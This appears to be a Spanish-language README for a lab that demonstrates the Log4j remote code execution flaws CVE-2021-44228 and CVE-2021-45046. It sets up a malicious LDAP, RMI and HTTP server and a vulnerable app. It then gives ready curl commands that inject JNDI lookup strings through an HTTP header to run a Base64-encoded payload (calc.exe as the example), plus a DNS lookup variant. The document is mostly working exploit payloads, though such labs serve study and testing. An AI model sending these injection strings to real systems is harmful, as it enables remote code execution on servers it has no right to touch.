Log4j CVE-2021-44228 y CVE-2021-45046

Requisitos

Use un JDK vulnerable, por ejemplo JDK 1.8.0_181

Uso

Servidor malicioso

El servidor malicioso despliega los siguientes endpoints:

• 1389 servidor LDAP
• 1099 servidor RMI
• 8081 servidor HTTP

./gradlew :malicious-server:bootRun

Aplicación vulnerable

La aplicación vulnerable despliega un endpoint HTTP en 8082

./gradlew :vulnerable-app:bootRun

Ejecución Remota de Código

Elija un payload que será ejecutado por la aplicación vulnerable y codifíquelo en Base64. Como ejemplo, para abrir la calculadora en Windows: calc.exe

LDAP

curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

RMI

curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

Consultas DNS

curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/